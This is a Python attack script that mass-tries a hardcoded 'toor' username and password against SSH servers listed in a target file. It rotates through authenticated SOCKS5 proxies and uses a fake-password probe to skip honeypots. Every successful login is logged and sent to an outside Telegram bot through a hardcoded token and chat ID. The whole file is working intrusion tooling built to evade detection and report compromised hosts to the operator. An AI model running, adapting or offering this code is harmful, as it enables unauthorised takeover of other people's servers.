import asyncio
import asyncssh
import httpx
import random
import argparse
import sys
from datetime import datetime
from python_socks.async_.asyncio import Proxy

# --- Configuration ---
USER = 'toor'
PASS = 'Karachi123$#@!~'
FAKE_PASS = 'fakepass'
INPUT_FILE = 'mulai2.txt'
LOG_FILE = 'successful_logins.txt'
MAX_CONCURRENT = 40 

# Telegram Settings
BOT_TOKEN = '8764848497:AAGYldfRk8S_23xczPHFtl6bMWzlDGALhNg'
CHAT_ID = '8594881357'

# Your 3proxy List
PROXIES = [
    {"addr": "216.158.239.206", "port": 40001},
    {"addr": "66.45.251.101", "port": 40002},
    {"addr": "216.158.239.209", "port": 40003},
]
PROXY_USER = "chunli"
PROXY_PASS = "Zexret123!"

semaphore = asyncio.Semaphore(MAX_CONCURRENT)

async def get_ssh_connection(ip, port, password, timeout, use_direct):
    """Handles connection logic with Proxy -> Direct fallback."""
    if use_direct:
        return await asyncssh.connect(
            ip, port=int(port), username=USER, password=password, 
            known_hosts=None, login_timeout=timeout, connect_timeout=timeout
        )

    proxy_config = random.choice(PROXIES)
    try:
        proxy = Proxy.from_url(
            f"socks5://{PROXY_USER}:{PROXY_PASS}@{proxy_config['addr']}:{proxy_config['port']}"
        )
        sock = await proxy.connect(dest_host=ip, dest_port=int(port), timeout=timeout)
        return await asyncssh.connect(
            ip, port=int(port), sock=sock, username=USER, 
            password=password, known_hosts=None, login_timeout=timeout
        )
    except Exception:
        try:
            return await asyncssh.connect(
                ip, port=int(port), username=USER, password=password, 
                known_hosts=None, login_timeout=timeout, connect_timeout=timeout
            )
        except Exception as e:
            raise e

async def send_telegram_notification(ip, port, method):
    url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
    message = (
        f"🎯 *SSH Infiltration Successful*\n\n"
        f"🌐 *IP:* `{ip}`\n"
        f"🔌 *Port:* `{port}`\n"
        f"👤 *User:* `{USER}`\n"
        f"📡 *Method:* `{method}`\n"
        f"🕒 *Time:* {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}"
    )
    payload = {"chat_id": CHAT_ID, "text": message, "parse_mode": "Markdown"}
    try:
        async with httpx.AsyncClient() as client:
            await client.post(url, json=payload, timeout=10)
    except:
        pass

async def check_ssh(ip, port, use_direct, verbose):
    async with semaphore:
        method = "Direct" if use_direct else "Proxy/Fallback"
        if verbose:
            print(f"[*] Probing {ip}:{port}...")

        try:
            # 1. Honeypot Check
            timeout = 8.0
            try:
                async with await get_ssh_connection(ip, port, FAKE_PASS, timeout, use_direct) as conn:
                    print(f"[!] Honeypot Alert: {ip}:{port}")
                    return 
            except asyncssh.PermissionDenied:
                if verbose:
                    print(f"[.] {ip}:{port} rejected fake pass (Real target).")
                await asyncio.sleep(random.uniform(1.0, 2.5))
            except Exception as e:
                if verbose:
                    print(f"[-] Honeypot check failed for {ip}:{port} -> {type(e).__name__}")
                return 

            # 2. Real Login Attempt
            try:
                if verbose:
                    print(f"[*] Attempting real login on {ip}:{port}...")
                async with await get_ssh_connection(ip, port, PASS, timeout, use_direct) as conn:
                    print(f"[+] Success: {ip}:{port}")
                    with open(LOG_FILE, 'a') as f:
                        f.write(f"{datetime.now()} - SUCCESS: {ip}:{port} ({method})\n")
                    await send_telegram_notification(ip, port, method)
            except Exception as e:
                if "Permission denied" in str(e):
                    if verbose:
                        print(f"[-] Permission denied (wrong pass): {ip}:{port}")
                elif verbose:
                    print(f"[!] Login error on {ip}:{port} -> {e}")
                    
        except Exception:
            pass

def parse_target(line):
    if ':' in line:
        parts = line.strip().split(':')
        if len(parts) >= 2:
            return parts[0], parts[1]
    return None

async def main():
    parser = argparse.ArgumentParser(description="SSH Infiltration Strike Script")
    parser.add_argument("--direct", action="store_true", help="Use direct connection only")
    parser.add_argument("-v", "--verbose", action="store_true", help="Show all attempts and errors")
    args = parser.parse_args()

    try:
        with open(INPUT_FILE, 'r') as f:
            targets = [parse_target(line) for line in f if parse_target(line)]
            random.shuffle(targets)
    except FileNotFoundError:
        print(f"Error: {INPUT_FILE} not found.")
        return

    print(f"🔥 Phase 2 Strike | Targets: {len(targets)}")
    print(f"⚡ Concurrency: {MAX_CONCURRENT} | Mode: {'Direct' if args.direct else 'Proxy'}")
    if args.verbose:
        print(f"📢 Verbose Mode: ON")
    print(f"🔀 Randomized order active.\n")
    
    tasks = [check_ssh(ip, port, args.direct, args.verbose) for ip, port in targets]
    await asyncio.gather(*tasks)
    print(f"\n✨ Strike complete.")

if __name__ == '__main__':
    asyncio.run(main())
